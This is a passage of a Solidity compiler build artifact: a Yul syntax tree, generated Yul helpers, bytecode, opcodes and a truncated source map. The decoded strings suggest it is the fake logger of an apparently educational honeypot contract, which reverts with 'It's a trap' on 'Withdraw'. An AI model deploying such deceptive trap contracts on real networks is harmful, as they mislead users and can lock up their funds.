"name": "pos",
"nodeType": "YulIdentifier",
"src": "7284:3:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "7289:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "7280:3:1"
},
"nodeType": "YulFunctionCall",
"src": "7280:12:1"
},
"variableNames": [
{
"name": "end",
"nodeType": "YulIdentifier",
"src": "7273:3:1"
}
]
}
]
},
"name": "abi_encode_t_stringliteral_72a9637f0d7174f748cb3dfe0a93655d7fd6effca1e657f3eed12b0e576eb0c6_to_t_string_memory_ptr_fromStack",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "7066:3:1",
"type": ""
}
],
"returnVariables": [
{
"name": "end",
"nodeType": "YulTypedName",
"src": "7074:3:1",
"type": ""
}
],
"src": "6932:366:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "7475:248:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "7485:26:1",
"value": {
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "7497:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "7508:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "7493:3:1"
},
"nodeType": "YulFunctionCall",
"src": "7493:18:1"
},
"variableNames": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "7485:4:1"
}
]
},
{
"expression": {
"arguments": [
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "7532:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "7543:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "7528:3:1"
},
"nodeType": "YulFunctionCall",
"src": "7528:17:1"
},
{
"arguments": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "7551:4:1"
},
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "7557:9:1"
}
],
"functionName": {
"name": "sub",
"nodeType": "YulIdentifier",
"src": "7547:3:1"
},
"nodeType": "YulFunctionCall",
"src": "7547:20:1"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "7521:6:1"
},
"nodeType": "YulFunctionCall",
"src": "7521:47:1"
},
"nodeType": "YulExpressionStatement",
"src": "7521:47:1"
},
{
"nodeType": "YulAssignment",
"src": "7577:139:1",
"value": {
"arguments": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "7711:4:1"
}
],
"functionName": {
"name": "abi_encode_t_stringliteral_72a9637f0d7174f748cb3dfe0a93655d7fd6effca1e657f3eed12b0e576eb0c6_to_t_string_memory_ptr_fromStack",
"nodeType": "YulIdentifier",
"src": "7585:124:1"
},
"nodeType": "YulFunctionCall",
"src": "7585:131:1"
},
"variableNames": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "7577:4:1"
}
]
}
]
},
"name": "abi_encode_tuple_t_stringliteral_72a9637f0d7174f748cb3dfe0a93655d7fd6effca1e657f3eed12b0e576eb0c6__to_t_string_memory_ptr__fromStack_reversed",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "7455:9:1",
"type": ""
}
],
"returnVariables": [
{
"name": "tail",
"nodeType": "YulTypedName",
"src": "7470:4:1",
"type": ""
}
],
"src": "7304:419:1"
}
]
},
"contents": "{\n\n function allocate_unbounded() -> memPtr {\n memPtr := mload(64)\n }\n\n function revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() {\n revert(0, 0)\n }\n\n function revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db() {\n revert(0, 0)\n }\n\n function revert_error_1b9f4a0a5773e33b91aa01db23bf8c55fce1411167c872835e7fa00a4f17d46d() {\n revert(0, 0)\n }\n\n function revert_error_987264b3b1d58a9c7f8255e93e81c77d86d6299019c33110a076957a3e06e2ae() {\n revert(0, 0)\n }\n\n function round_up_to_mul_of_32(value) -> result {\n result := and(add(value, 31), not(31))\n }\n\n function panic_error_0x41() {\n mstore(0, 35408467139433450592217433187231851964531694900788300625387963629091585785856)\n mstore(4, 0x41)\n revert(0, 0x24)\n }\n\n function finalize_allocation(memPtr, size) {\n let newFreePtr := add(memPtr, round_up_to_mul_of_32(size))\n // protect against overflow\n if or(gt(newFreePtr, 0xffffffffffffffff), lt(newFreePtr, memPtr)) { panic_error_0x41() }\n mstore(64, newFreePtr)\n }\n\n function allocate_memory(size) -> memPtr {\n memPtr := allocate_unbounded()\n finalize_allocation(memPtr, size)\n }\n\n function array_allocation_size_t_string_memory_ptr(length) -> size {\n // Make sure we can allocate memory without overflow\n if gt(length, 0xffffffffffffffff) { panic_error_0x41() }\n\n size := round_up_to_mul_of_32(length)\n\n // add length slot\n size := add(size, 0x20)\n\n }\n\n function copy_calldata_to_memory(src, dst, length) {\n calldatacopy(dst, src, length)\n // clear end\n mstore(add(dst, length), 0)\n }\n\n function abi_decode_available_length_t_string_memory_ptr(src, length, end) -> array {\n array := allocate_memory(array_allocation_size_t_string_memory_ptr(length))\n mstore(array, length)\n let dst := add(array, 0x20)\n if gt(add(src, length), end) { revert_error_987264b3b1d58a9c7f8255e93e81c77d86d6299019c33110a076957a3e06e2ae() }\n copy_calldata_to_memory(src, dst, length)\n }\n\n // string\n function abi_decode_t_string_memory_ptr(offset, end) -> array {\n if iszero(slt(add(offset, 0x1f), end)) { revert_error_1b9f4a0a5773e33b91aa01db23bf8c55fce1411167c872835e7fa00a4f17d46d() }\n let length := calldataload(offset)\n array := abi_decode_available_length_t_string_memory_ptr(add(offset, 0x20), length, end)\n }\n\n function abi_decode_tuple_t_string_memory_ptrt_string_memory_ptr(headStart, dataEnd) -> value0, value1 {\n if slt(sub(dataEnd, headStart), 64) { revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() }\n\n {\n\n let offset := calldataload(add(headStart, 0))\n if gt(offset, 0xffffffffffffffff) { revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db() }\n\n value0 := abi_decode_t_string_memory_ptr(add(headStart, offset), dataEnd)\n }\n\n {\n\n let offset := calldataload(add(headStart, 32))\n if gt(offset, 0xffffffffffffffff) { revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db() }\n\n value1 := abi_decode_t_string_memory_ptr(add(headStart, offset), dataEnd)\n }\n\n }\n\n function cleanup_t_bool(value) -> cleaned {\n cleaned := iszero(iszero(value))\n }\n\n function abi_encode_t_bool_to_t_bool_fromStack(value, pos) {\n mstore(pos, cleanup_t_bool(value))\n }\n\n function abi_encode_tuple_t_bool__to_t_bool__fromStack_reversed(headStart , value0) -> tail {\n tail := add(headStart, 32)\n\n abi_encode_t_bool_to_t_bool_fromStack(value0, add(headStart, 0))\n\n }\n\n function cleanup_t_uint160(value) -> cleaned {\n cleaned := and(value, 0xffffffffffffffffffffffffffffffffffffffff)\n }\n\n function cleanup_t_address(value) -> cleaned {\n cleaned := cleanup_t_uint160(value)\n }\n\n function validator_revert_t_address(value) {\n if iszero(eq(value, cleanup_t_address(value))) { revert(0, 0) }\n }\n\n function abi_decode_t_address(offset, end) -> value {\n value := calldataload(offset)\n validator_revert_t_address(value)\n }\n\n function cleanup_t_uint256(value) -> cleaned {\n cleaned := value\n }\n\n function validator_revert_t_uint256(value) {\n if iszero(eq(value, cleanup_t_uint256(value))) { revert(0, 0) }\n }\n\n function abi_decode_t_uint256(offset, end) -> value {\n value := calldataload(offset)\n validator_revert_t_uint256(value)\n }\n\n function abi_decode_tuple_t_addresst_uint256t_string_memory_ptr(headStart, dataEnd) -> value0, value1, value2 {\n if slt(sub(dataEnd, headStart), 96) { revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() }\n\n {\n\n let offset := 0\n\n value0 := abi_decode_t_address(add(headStart, offset), dataEnd)\n }\n\n {\n\n let offset := 32\n\n value1 := abi_decode_t_uint256(add(headStart, offset), dataEnd)\n }\n\n {\n\n let offset := calldataload(add(headStart, 64))\n if gt(offset, 0xffffffffffffffff) { revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db() }\n\n value2 := abi_decode_t_string_memory_ptr(add(headStart, offset), dataEnd)\n }\n\n }\n\n function array_length_t_string_memory_ptr(value) -> length {\n\n length := mload(value)\n\n }\n\n function array_storeLengthForEncoding_t_string_memory_ptr_fromStack(pos, length) -> updated_pos {\n mstore(pos, length)\n updated_pos := add(pos, 0x20)\n }\n\n function copy_memory_to_memory(src, dst, length) {\n let i := 0\n for { } lt(i, length) { i := add(i, 32) }\n {\n mstore(add(dst, i), mload(add(src, i)))\n }\n if gt(i, length)\n {\n // clear end\n mstore(add(dst, length), 0)\n }\n }\n\n function abi_encode_t_string_memory_ptr_to_t_string_memory_ptr_fromStack(value, pos) -> end {\n let length := array_length_t_string_memory_ptr(value)\n pos := array_storeLengthForEncoding_t_string_memory_ptr_fromStack(pos, length)\n copy_memory_to_memory(add(value, 0x20), pos, length)\n end := add(pos, round_up_to_mul_of_32(length))\n }\n\n function abi_encode_tuple_t_string_memory_ptr__to_t_string_memory_ptr__fromStack_reversed(headStart , value0) -> tail {\n tail := add(headStart, 32)\n\n mstore(add(headStart, 0), sub(tail, headStart))\n tail := abi_encode_t_string_memory_ptr_to_t_string_memory_ptr_fromStack(value0, tail)\n\n }\n\n function store_literal_in_memory_72a9637f0d7174f748cb3dfe0a93655d7fd6effca1e657f3eed12b0e576eb0c6(memPtr) {\n\n mstore(add(memPtr, 0), \"It's a trap\")\n\n }\n\n function abi_encode_t_stringliteral_72a9637f0d7174f748cb3dfe0a93655d7fd6effca1e657f3eed12b0e576eb0c6_to_t_string_memory_ptr_fromStack(pos) -> end {\n pos := array_storeLengthForEncoding_t_string_memory_ptr_fromStack(pos, 11)\n store_literal_in_memory_72a9637f0d7174f748cb3dfe0a93655d7fd6effca1e657f3eed12b0e576eb0c6(pos)\n end := add(pos, 32)\n }\n\n function abi_encode_tuple_t_stringliteral_72a9637f0d7174f748cb3dfe0a93655d7fd6effca1e657f3eed12b0e576eb0c6__to_t_string_memory_ptr__fromStack_reversed(headStart ) -> tail {\n tail := add(headStart, 32)\n\n mstore(add(headStart, 0), sub(tail, headStart))\n tail := abi_encode_t_stringliteral_72a9637f0d7174f748cb3dfe0a93655d7fd6effca1e657f3eed12b0e576eb0c6_to_t_string_memory_ptr_fromStack( tail)\n\n }\n\n}\n",
"id": 1,
"language": "Yul",
"name": "#utility.yul"
}
],
"immutableReferences": {},
"linkReferences": {},
"object": "608060405234801561001057600080fd5b50600436106100365760003560e01c806346bdca9a1461003b578063a1f2e8aa1461006b575b600080fd5b610055600480360381019061005091906102be565b610087565b6040516100629190610351565b60405180910390f35b61008560048036038101906100809190610400565b6100e0565b005b60008160405160200161009a91906104f7565b60405160208183030381529060405280519060200120836040516020016100c191906104f7565b6040516020818303038152906040528051906020012014905092915050565b61011f816040518060400160405280600881526020017f5769746864726177000000000000000000000000000000000000000000000000815250610087565b1561015f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161015690610565565b60405180910390fd5b505050565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6101cb82610182565b810181811067ffffffffffffffff821117156101ea576101e9610193565b5b80604052505050565b60006101fd610164565b905061020982826101c2565b919050565b600067ffffffffffffffff82111561022957610228610193565b5b61023282610182565b9050602081019050919050565b82818337600083830152505050565b600061026161025c8461020e565b6101f3565b90508281526020810184848401111561027d5761027c61017d565b5b61028884828561023f565b509392505050565b600082601f8301126102a5576102a4610178565b5b81356102b584826020860161024e565b91505092915050565b600080604083850312156102d5576102d461016e565b5b600083013567ffffffffffffffff8111156102f3576102f2610173565b5b6102ff85828601610290565b925050602083013567ffffffffffffffff8111156103205761031f610173565b5b61032c85828601610290565b9150509250929050565b60008115159050919050565b61034b81610336565b82525050565b60006020820190506103666000830184610342565b92915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006103978261036c565b9050919050565b6103a78161038c565b81146103b257600080fd5b50565b6000813590506103c48161039e565b92915050565b6000819050919050565b6103dd816103ca565b81146103e857600080fd5b50565b6000813590506103fa816103d4565b92915050565b6000806000606084860312156104195761041861016e565b5b6000610427868287016103b5565b9350506020610438868287016103eb565b925050604084013567ffffffffffffffff81111561045957610458610173565b5b61046586828701610290565b9150509250925092565b600081519050919050565b600082825260208201905092915050565b60005b838110156104a957808201518184015260208101905061048e565b838111156104b8576000848401525b50505050565b60006104c98261046f565b6104d3818561047a565b93506104e381856020860161048b565b6104ec81610182565b840191505092915050565b6000602082019050818103600083015261051181846104be565b905092915050565b7f4974277320612074726170000000000000000000000000000000000000000000600082015250565b600061054f600b8361047a565b915061055a82610519565b602082019050919050565b6000602082019050818103600083015261057e81610542565b905091905056fea2646970667358221220eba7bf16a6021ca1add7fddfc7f38ef2a208a577ee5075ba87747d8ca1ddcb3d64736f6c634300080c0033",
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0x10 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH1 0x4 CALLDATASIZE LT PUSH2 0x36 JUMPI PUSH1 0x0 CALLDATALOAD PUSH1 0xE0 SHR DUP1 PUSH4 0x46BDCA9A EQ PUSH2 0x3B JUMPI DUP1 PUSH4 0xA1F2E8AA EQ PUSH2 0x6B JUMPI JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH2 0x55 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 PUSH2 0x50 SWAP2 SWAP1 PUSH2 0x2BE JUMP JUMPDEST PUSH2 0x87 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0x62 SWAP2 SWAP1 PUSH2 0x351 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH2 0x85 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 PUSH2 0x80 SWAP2 SWAP1 PUSH2 0x400 JUMP JUMPDEST PUSH2 0xE0 JUMP JUMPDEST STOP JUMPDEST PUSH1 0x0 DUP2 PUSH1 0x40 MLOAD PUSH1 0x20 ADD PUSH2 0x9A SWAP2 SWAP1 PUSH2 0x4F7 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH1 0x20 DUP2 DUP4 SUB SUB DUP2 MSTORE SWAP1 PUSH1 0x40 MSTORE DUP1 MLOAD SWAP1 PUSH1 0x20 ADD KECCAK256 DUP4 PUSH1 0x40 MLOAD PUSH1 0x20 ADD PUSH2 0xC1 SWAP2 SWAP1 PUSH2 0x4F7 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH1 0x20 DUP2 DUP4 SUB SUB DUP2 MSTORE SWAP1 PUSH1 0x40 MSTORE DUP1 MLOAD SWAP1 PUSH1 0x20 ADD KECCAK256 EQ SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH2 0x11F DUP2 PUSH1 0x40 MLOAD DUP1 PUSH1 0x40 ADD PUSH1 0x40 MSTORE DUP1 PUSH1 0x8 DUP2 MSTORE PUSH1 0x20 ADD PUSH32 0x5769746864726177000000000000000000000000000000000000000000000000 DUP2 MSTORE POP PUSH2 0x87 JUMP JUMPDEST ISZERO PUSH2 0x15F JUMPI PUSH1 0x40 MLOAD PUSH32 0x8C379A000000000000000000000000000000000000000000000000000000000 DUP2 MSTORE PUSH1 0x4 ADD PUSH2 0x156 SWAP1 PUSH2 0x565 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 REVERT JUMPDEST POP POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x40 MLOAD SWAP1 POP SWAP1 JUMP JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH1 0x0 PUSH1 0x1F NOT PUSH1 0x1F DUP4 ADD AND SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH32 0x4E487B7100000000000000000000000000000000000000000000000000000000 PUSH1 0x0 MSTORE PUSH1 0x41 PUSH1 0x4 MSTORE PUSH1 0x24 PUSH1 0x0 REVERT JUMPDEST PUSH2 0x1CB DUP3 PUSH2 0x182 JUMP JUMPDEST DUP2 ADD DUP2 DUP2 LT PUSH8 0xFFFFFFFFFFFFFFFF DUP3 GT OR ISZERO PUSH2 0x1EA JUMPI PUSH2 0x1E9 PUSH2 0x193 JUMP JUMPDEST JUMPDEST DUP1 PUSH1 0x40 MSTORE POP POP POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x1FD PUSH2 0x164 JUMP JUMPDEST SWAP1 POP PUSH2 0x209 DUP3 DUP3 PUSH2 0x1C2 JUMP JUMPDEST SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH8 0xFFFFFFFFFFFFFFFF DUP3 GT ISZERO PUSH2 0x229 JUMPI PUSH2 0x228 PUSH2 0x193 JUMP JUMPDEST JUMPDEST PUSH2 0x232 DUP3 PUSH2 0x182 JUMP JUMPDEST SWAP1 POP PUSH1 0x20 DUP2 ADD SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST DUP3 DUP2 DUP4 CALLDATACOPY PUSH1 0x0 DUP4 DUP4 ADD MSTORE POP POP POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x261 PUSH2 0x25C DUP5 PUSH2 0x20E JUMP JUMPDEST PUSH2 0x1F3 JUMP JUMPDEST SWAP1 POP DUP3 DUP2 MSTORE PUSH1 0x20 DUP2 ADD DUP5 DUP5 DUP5 ADD GT ISZERO PUSH2 0x27D JUMPI PUSH2 0x27C PUSH2 0x17D JUMP JUMPDEST JUMPDEST PUSH2 0x288 DUP5 DUP3 DUP6 PUSH2 0x23F JUMP JUMPDEST POP SWAP4 SWAP3 POP POP POP JUMP JUMPDEST PUSH1 0x0 DUP3 PUSH1 0x1F DUP4 ADD SLT PUSH2 0x2A5 JUMPI PUSH2 0x2A4 PUSH2 0x178 JUMP JUMPDEST JUMPDEST DUP2 CALLDATALOAD PUSH2 0x2B5 DUP5 DUP3 PUSH1 0x20 DUP7 ADD PUSH2 0x24E JUMP JUMPDEST SWAP2 POP POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP1 PUSH1 0x40 DUP4 DUP6 SUB SLT ISZERO PUSH2 0x2D5 JUMPI PUSH2 0x2D4 PUSH2 0x16E JUMP JUMPDEST JUMPDEST PUSH1 0x0 DUP4 ADD CALLDATALOAD PUSH8 0xFFFFFFFFFFFFFFFF DUP2 GT ISZERO PUSH2 0x2F3 JUMPI PUSH2 0x2F2 PUSH2 0x173 JUMP JUMPDEST JUMPDEST PUSH2 0x2FF DUP6 DUP3 DUP7 ADD PUSH2 0x290 JUMP JUMPDEST SWAP3 POP POP PUSH1 0x20 DUP4 ADD CALLDATALOAD PUSH8 0xFFFFFFFFFFFFFFFF DUP2 GT ISZERO PUSH2 0x320 JUMPI PUSH2 0x31F PUSH2 0x173 JUMP JUMPDEST JUMPDEST PUSH2 0x32C DUP6 DUP3 DUP7 ADD PUSH2 0x290 JUMP JUMPDEST SWAP2 POP POP SWAP3 POP SWAP3 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 DUP2 ISZERO ISZERO SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x34B DUP2 PUSH2 0x336 JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x366 PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0x342 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF DUP3 AND SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x397 DUP3 PUSH2 0x36C JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x3A7 DUP2 PUSH2 0x38C JUMP JUMPDEST DUP2 EQ PUSH2 0x3B2 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP JUMP JUMPDEST PUSH1 0x0 DUP2 CALLDATALOAD SWAP1 POP PUSH2 0x3C4 DUP2 PUSH2 0x39E JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x3DD DUP2 PUSH2 0x3CA JUMP JUMPDEST DUP2 EQ PUSH2 0x3E8 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP JUMP JUMPDEST PUSH1 0x0 DUP2 CALLDATALOAD SWAP1 POP PUSH2 0x3FA DUP2 PUSH2 0x3D4 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP1 PUSH1 0x0 PUSH1 0x60 DUP5 DUP7 SUB SLT ISZERO PUSH2 0x419 JUMPI PUSH2 0x418 PUSH2 0x16E JUMP JUMPDEST JUMPDEST PUSH1 0x0 PUSH2 0x427 DUP7 DUP3 DUP8 ADD PUSH2 0x3B5 JUMP JUMPDEST SWAP4 POP POP PUSH1 0x20 PUSH2 0x438 DUP7 DUP3 DUP8 ADD PUSH2 0x3EB JUMP JUMPDEST SWAP3 POP POP PUSH1 0x40 DUP5 ADD CALLDATALOAD PUSH8 0xFFFFFFFFFFFFFFFF DUP2 GT ISZERO PUSH2 0x459 JUMPI PUSH2 0x458 PUSH2 0x173 JUMP JUMPDEST JUMPDEST PUSH2 0x465 DUP7 DUP3 DUP8 ADD PUSH2 0x290 JUMP JUMPDEST SWAP2 POP POP SWAP3 POP SWAP3 POP SWAP3 JUMP JUMPDEST PUSH1 0x0 DUP2 MLOAD SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 DUP3 DUP3 MSTORE PUSH1 0x20 DUP3 ADD SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 JUMPDEST DUP4 DUP2 LT ISZERO PUSH2 0x4A9 JUMPI DUP1 DUP3 ADD MLOAD DUP2 DUP5 ADD MSTORE PUSH1 0x20 DUP2 ADD SWAP1 POP PUSH2 0x48E JUMP JUMPDEST DUP4 DUP2 GT ISZERO PUSH2 0x4B8 JUMPI PUSH1 0x0 DUP5 DUP5 ADD MSTORE JUMPDEST POP POP POP POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x4C9 DUP3 PUSH2 0x46F JUMP JUMPDEST PUSH2 0x4D3 DUP2 DUP6 PUSH2 0x47A JUMP JUMPDEST SWAP4 POP PUSH2 0x4E3 DUP2 DUP6 PUSH1 0x20 DUP7 ADD PUSH2 0x48B JUMP JUMPDEST PUSH2 0x4EC DUP2 PUSH2 0x182 JUMP JUMPDEST DUP5 ADD SWAP2 POP POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP DUP2 DUP2 SUB PUSH1 0x0 DUP4 ADD MSTORE PUSH2 0x511 DUP2 DUP5 PUSH2 0x4BE JUMP JUMPDEST SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH32 0x4974277320612074726170000000000000000000000000000000000000000000 PUSH1 0x0 DUP3 ADD MSTORE POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x54F PUSH1 0xB DUP4 PUSH2 0x47A JUMP JUMPDEST SWAP2 POP PUSH2 0x55A DUP3 PUSH2 0x519 JUMP JUMPDEST PUSH1 0x20 DUP3 ADD SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP DUP2 DUP2 SUB PUSH1 0x0 DUP4 ADD MSTORE PUSH2 0x57E DUP2 PUSH2 0x542 JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 0xEB 0xA7 0xBF AND 0xA6 MUL SHR LOG1 0xAD 0xD7 REVERT 0xDF 0xC7 RETURN DUP15 CALLCODE LOG2 ADDMOD 0xA5 PUSH24 0xEE5075BA87747D8CA1DDCB3D64736F6C634300080C003300 ",
"sourceMap": "1528:437:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1807:156;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1552:198;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1807:156;1879:4;1952:2;1941:14;;;;;;;;:::i;:::-;;;;;;;;;;;;;1931:25;;;;;;1923:2;1912:14;;;;;;;;:::i;:::-;;;;;;;;;;;;;1902:25;;;;;;:54;1895:61;;1807:156;;;;:::o;1552:198::-;1670:26;1676:7;1670:26;;;;;;;;;;;;;;;;;:5;:26::i;:::-;1666:78;;;1712:21;;;;;;;;;;:::i;:::-;;;;;;;;1666:78;1552:198;;;:::o;7:75:1:-;40:6;73:2;67:9;57:19;;7:75;:::o;88:117::-;197:1;194;187:12;211:117;320:1;317;310:12;334:117;443:1;440;433:12;457:117;566:1;563;556:12;580:102;621:6;672:2;668:7;663:2;656:5;652:14;648:28;638:38;;580:102;;;:::o;688:180::-;736:77;733:1;726:88;833:4;830:1;823:15;857:4;854:1;847:15;874:281;957:27;979:4;957:27;:::i;:::-;949:6;945:40;1087:6;1075:10;1072:22;1051:18;1039:10;1036:34;1033:62;1030:88;;;1098:18;;:::i;:::-;1030:88;1138:10;1134:2;1127:22;917:238;874:281;;:::o;1161:129::-;1195:6;1222:20;;:::i;:::-;1212:30;;1251:33;1279:4;1271:6;1251:33;:::i;:::-;1161:129;;;:::o;1296:308::-;1358:4;1448:18;1440:6;1437:30;1434:56;;;1470:18;;:::i;:::-;1434:56;1508:29;1530:6;1508:29;:::i;:::-;1500:37;;1592:4;1586;1582:15;1574:23;;1296:308;;;:::o;1610:154::-;1694:6;1689:3;1684;1671:30;1756:1;1747:6;1742:3;1738:16;1731:27;1610:154;;;:::o;1770:412::-;1848:5;1873:66;1889:49;1931:6;1889:49;:::i;:::-;1873:66;:::i;:::-;1864:75;;1962:6;1955:5;1948:21;2000:4;1993:5;1989:16;2038:3;2029:6;2024:3;2020:16;2017:25;2014:112;;;2045:79;;:::i;:::-;2014:112;2135:41;2169:6;2164:3;2159;2135:41;:::i;:::-;1854:328;1770:412;;;;;:::o;2202:340::-;2258:5;2307:3;2300:4;2292:6;2288:17;2284:27;2274:122;;2315:79;;:::i;:::-;2274:122;2432:6;2419:20;2457:79;2532:3;2524:6;2517:4;2509:6;2505:17;2457:79;:::i;:::-;2448:88;;2264:278;2202:340;;;;:::o;2548:834::-;2636:6;2644;2693:2;2681:9;2672:7;2668:23;2664:32;2661:119;;;2699:79;;:::i;:::-;2661:119;2847:1;2836:9;2832:17;2819:31;2877:18;2869:6;2866:30;2863:117;;;2899:79;;:::i;:::-;2863:117;3004:63;3059:7;3050:6;3039:9;3035:22;3004:63;:::i;:::-;2994:73;;2790:287;3144:2;3133:9;3129:18;3116:32;3175:18;3167:6;3164:30;3161:117;;;3197:79;;:::i;:::-;3161:117;3302:63;3357:7;3348:6;3337:9;3333:22;3302:63;:::i;:::-;3292:73;;3087:288;2548:834;;;;;:::o;3388:90::-;3422:7;3465:5;3458:13;3451:21;3440:32;;3388:90;;;:::o;3484:109::-;3565:21;3580:5;3565:21;:::i;:::-;3560:3;3553:34;3484:109;;:::o;3599:210::-;3686:4;3724:2;3713:9;3709:18;3701:26;;3737:65;3799:1;3788:9;3784:17;3775:6;3737:65;:::i;:::-;3599:210;;;;:::o;3815:126::-;3852:7;3892:42;3885:5;3881:54;3870:65;;3815:126;;;:::o;3947:96::-;3984:7;4013:24;4031:5;4013:24;:::i;:::-;4002:35;;3947:96;;;:::o;4049:122::-;4122:24;4140:5;4122:24;:::i;:::-;4115:5;4112:35;4102:63;;4161:1;4158;4151:12;4102:63;4049:122;:::o;4177:139::-;4223:5;4261:6;4248:20;4239:29;;4277:33;4304:5;4277:33;:::i;:::-;4177:139;;;;:::o;4322:77::-;4359:7;4388:5;4377:16;;4322:77;;;:::o;4405:122::-;4478:24;4496:5;4478:24;:::i;:::-;4471:5;4468:35;4458:63;;4517:1;4514;4507:12;4458:63;4405:122;:::o;4533:139::-;4579:5;4617:6;4604:20;4595:29;;4633:33;4660:5;4633:33;:::i;:::-;4533:139;;;;:::o;4678:799::-;4765:6;4773;4781;4830:2;4818:9;4809:7;4805:23;4801:32;4798:119;;;4836:79;;:::i;:::-;4798:119;4956:1;4981:53;5026:7;5017:6;5006:9;5002:22;4981:53;:::i;:::-;4971:63;;4927:117;5083:2;5109:53;5154:7;5145:6;5134:9;5130:22;5109:53;:::i;:::-;5099:63;;5054:118;5239:2;5228:9;5224:18;5211:32;5270:18;5262:6;5259:30;5256:117;;;5292:79;;:::i;:::-;5256:117;5397:63;5452:7;5443:6;5432:9;5428:22;5397:63;:::i;:::-;5387:73;;5182:288;4678:799;;;;;:::o;5483:99::-;5535:6;5569:5;5563:12;5553:22;;54